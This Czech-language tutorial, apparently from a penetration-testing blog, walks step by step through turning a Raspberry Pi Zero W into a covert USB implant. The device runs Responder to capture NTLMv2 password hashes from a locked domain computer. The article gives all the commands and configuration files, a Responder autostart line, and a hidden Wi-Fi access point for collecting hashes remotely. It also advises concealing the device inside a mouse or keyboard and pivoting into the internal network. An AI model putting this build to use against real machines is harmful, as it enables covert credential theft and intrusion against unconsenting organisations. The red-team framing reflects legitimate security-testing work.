Odchycení hashů hesel ze zamčeného počítače pomocí Raspberry Pi

V tomto článku si vyrobíme zákeřné zařízení – budeme odchytávat hashe hesel doménových účtů pomocí nástroje Responder, který bude spuštěný na Raspberry Pi Zero W. Hashe tak budeme moci chytat kdekoliv a kdykoliv, s přenosným zařízením a nepozorovaně.

1_uvodni

Pro začátek krátce k nástroji Responder – jedná se o široce používaný nástroj v oblasti penetračních testů a také pro členy Red Teamu. Responder obsahuje mnoho užitečných funkcí, jako je LLMNR, NT-NS a MDNS poisoner. Používá se pro podvržení „otrávených“ odpovědí a následné zachycení hashů. Nástroj obsahuje různé vestavěné servery, například HTTP, SMB, LDAP, DCE-RPC a další. Zjednodušeně řečeno, protože cílový počítač oběti je členem domény, bude do sítě vysílat legitimní požadavky na discovery sítě, serverů, AD atd. Responder podvržením odpovědí na tyto požadavky zařídí, aby mu oběť zaslala hash svého hesla.

Příprava

Nejprve samozřejmě potřebujete Raspberry Pi Zero W (tedy včetně Wi-Fi). Budete také potřebovat kartu MicroSD a zařízení na její čtení/zápis.

Dále si stáhněte (nejnovější) image RaspiOS lite a zkopírujte ho na MicroSD kartu, například pomocí příkazu v Linuxu:

sudo dd bs=1m if=2022-04-07-raspios_lite_armhf.img of=/dev/rdisk2

Použít můžete samozřejmě i Raspberry Pi Imager, který je zdarma dostupný na stránce. Raspberry Pi foundation.

Emulace USB

Raspberry Pi Zero W může emulovat USB zařízení - v tomto případě jej nastavíme jako USB ethernetový adaptér. Budeme muset upravit boot parametry, resp. přidat dtoverlay=dwc2 na poslední řádek v souboru config.txt. A dále v souboru cmdline.txt za rootwait (poslední slovo na prvním řádku) napsat mezeru a přidat modules-load=dwc2,g_ether (vše další odstranit).

Dále vytvořte prázdný soubor v adresáři /boot s názvem SSH.

touch /Volumes/boot/ssh, to vám umožní připojovat se k Raspberry pomocí SSH.

Spusťte tedy Raspberry, přihlaste se na SSH, povolte přihlášení roota, změňte heslo a pak smažte výchozího uživatele „pi“:

ssh pi@raspberrypi.local

sudo -s

passed

#změňte /etc/ssh/sshd_config PermitRootLogin z „no“ na „yes“

/etc/init.d/ssh restart

exit

ssh root@raspberrypi.local

userdel -r pi

echo "WiPiResponder" > /etc/hostname

Nyní máte základní nastavení, které umožní vašemu Raspberry komunikovat přes USB ethernet a SSH (stojí za to si vytvořit zálohu, abyste se mohli kdykoliv v případě nezdaru vrátit zpět).

Připojení k internetu a balíčky

Další věc, kterou musíte udělat, je nainstalovat do Raspberry různé balíčky. K tomu je potřeba připojení k internetu. Moderní operační systémy naštěstí umí reverzní tethering – je tedy možné sdílet připojení k internetu do Raspberry přímo z počítače (nastaví se sdílení pro ethernet adaptér NDIS), ve Windows například takto:

Tethering do USB adaptéru v OS Windows
Tethering do USB adaptéru v OS Windows

Raspberry tak dostane IP adresu z DHCP a je možné se na něj připojit pomocí SSH. Můžeme jej zaktualizovat, zkontrolovat, zda má připojení k internetu, a poté spustit apt-get:

ping -c1 8.8.8.8

apt-get update

apt-get -y upgrade

Instalace Responderu

Abychom mohli spustit Responder, potřebujeme nejprve několik prerekvizitních balíčků. Poté můžeme naklonovat přes git nejnovější verzi responderu.

apt-get install -y python git python-pip python-dev screen sqlite3 inotify-tools

pip install pycrypto

git clone https://github.com/spiderlabs/responder

Poznámka: Responder pak potřebujeme spouštět automaticky po startu OS (bude vysvětleno později).

Síťová konfigurace

Dále zprovozníme vzdálené připojení, abychom mohli kontrolovat zachycené hashe. Toho se docílí konfigurací bezdrátové karty do režimu AP pomocí hostapd a dnsmasq.

apt-get install dnsmasq hostapd

Nyní upravte soubor /etc/dhcpcd.conf a na konec souboru přidejte následující řádek:

denyinterfaces wlan0

Musíme také nakonfigurovat statickou IP adresu pro Wi-Fi rozhraní. Otevřete tedy konfigurační soubor rozhraní /etc/network/interfaces a upravte část wlan0 tak, aby vypadala takto:

allow-hotplug wlan0

iface wlan0 inet static

address 10.10.10.1

netmask 255.255.255.0

network 10.10.10.0

broadcast 10.10.10.255

#   wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

A pak restartujte službu dhcpcd:

service dhcpcd restart


Dále je zapotřebí nakonfigurovat hostapd (parametry hotspotu) vytvořením souboru /etc/hostapd/hostapd.conf s následujícím obsahem:

interface=wlan0

driver=nl80211

ssid=WiPiResponder

hw_mode=g

channel=6

ieee80211n=1

wmm_enabled=1

ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]

macaddr_acl=0

auth_algs=1

ignore_broadcast_ssid=0

wpa=2

wpa_key_mgmt=WPA-PSK

wpa_passphrase=WiPiResponder

rsn_pairwise=CCMP


Je nutné také říci hostapd, kde má hledat konfigurační soubor, když se spouští při startu systému. Otevřete výchozí konfigurační soubor /etc/default/hostapd a najděte řádek

#DAEMON_CONF=""

a nahraďte jej řádkem

DAEMON_CONF="/etc/hostapd/hostapd.conf"


Nyní nakonfigurujte DHCP pro Wi-Fi klienty (útočníka) úpravou souboru /etc/dnsmasq.conf tak, aby obsahoval následující údaje:

interface=wlan0

listen-address=10.10.10.1

bind-interfaces

server=8.8.8.8

domain-needed

dhcp-range=interface:wlan0,10.10.10.100,10.10.10.200,12h

dhcp-option=wlan0,3,10.10.10.1

log-queries

log-dhcp


A nakonec před restartováním služeb povolte IP forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward

service hostapd restart

service dnsmasq restart

V tuto chvíli (po restartu) máte na Raspberry funkční hotspot.

Nastavení DHCP na USB

Teď musíte nakonfigurovat Raspberry tak, aby poskytovalo DHCP pro svůj USB port. Již máte nainstalovaný dnsmasq, takže ho jednoduše použijete znovu, akorát s konfigurací pro USB.

Nejprve aktualizujte soubor /etc/network/interfaces tak, aby pro usb0 obsahoval následující údaje:

allow-hotplug usb0

iface usb0 inet static

address 10.10.20.1

netmask 255.255.255.0

network 10.10.20.0

broadcast 10.10.20.255


Dále je třeba aktualizovat konfiguraci /etc/dnsmasq tak, aby obsahovala následující položky (viz další řádky obsahující usb0):

interface=wlan0

interface=usb0

listen-address=10.10.10.1

listen-address=10.10.20.1

bind-interfaces

server=8.8.8.8

domain-needed

dhcp-authoritative

dhcp-range=interface:wlan0,10.10.10.100,10.10.10.200,12h

dhcp-range=interface:usb0,10.10.20.100,10.10.20.200,12h

dhcp-option=wlan0,3,10.10.10.1

dhcp-option=usb0,3,10.10.20.1

dhcp-option=usb0,252,http://10.10.20.1/wpad.dat

log-queries

log-dhcp

port=0

Síťový diagram

Abychom věděli, jak to všechno funguje a zrekapitulovali si, co teď máte nastaveno, je dobré si aktuální stav naznačit:

Diagram zapojení a IP adresace
Diagram zapojení a IP adresace

Konečně hashe

Nyní máte vše nainstalováno a nastaveno, zbývá tedy nakonfigurovat Responder. Je potřeba vytvořit službu, která se spustí při startu systému a spustí ho. Do souboru /etc/rc.local přidejte před řádek exit 0 následující řádek:

/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'

Nyní bude Responder spuštěn v relaci na obrazovce. Pro interakci s ním napište:

screen -r responder

Chcete-li ukončit(odpojit) relaci/obrazovku a nechat Responder běžet, jednoduše stiskněte CTRL-A a pak CTRL-D.

Konečně můžete začít. Jednoduše připojte Raspberry k počítači oběti

Raspberry připojené k počítači oběti (ilustrace)
Raspberry připojené k počítači oběti (ilustrace)

Pak se připojte zpět přes bezdrátové připojení, přihlaste se přes SSH a zkontrolujte databázi responderu:

sqlite3 /root/responder/Responder.db 'select * from responder'

Případně rovnou na obrazovce (screen) by mělo být vidět například následující:

Zachycený hash hesla přímo v nástroji Responder
Zachycený hash hesla přímo v nástroji Responder

S největší pravděpodobností odchytíte tzv. NTLMv2 hashe, které se crackují s použitím módu 5600 pro Hashcat. Jak heslo cracknout si můžete přečíst například zde na HackingLabu, kde o Hashcatu vyšel pěkný článek pro začátečníky.

Závěr

Pokud byste chtěli z tohoto útoku udělat profesionální scénář v rámci Red Teamu, můžete udělat několik věcí, abyste řešení optimalizovali. První věcí by bylo skrýt Raspberry třeba přímo do USB myši nebo klávesnice spolu s USB hubem. To by pak bylo téměř nerozeznatelné kromě nové síťové karty v systému. Také by stálo za to zakázat vysílání SSID přidáním následujícího řádku do souboru /etc/hostapd/hostapd.conf:

ignore_broadcast_ssid=1

Za zmínku také stojí, že se zapnutou Wi-Fi a připojením do počítače oběti byste mohli použít Wi-Fi hotspot a napadený počítač jako pivot do interní sítě zvenčí.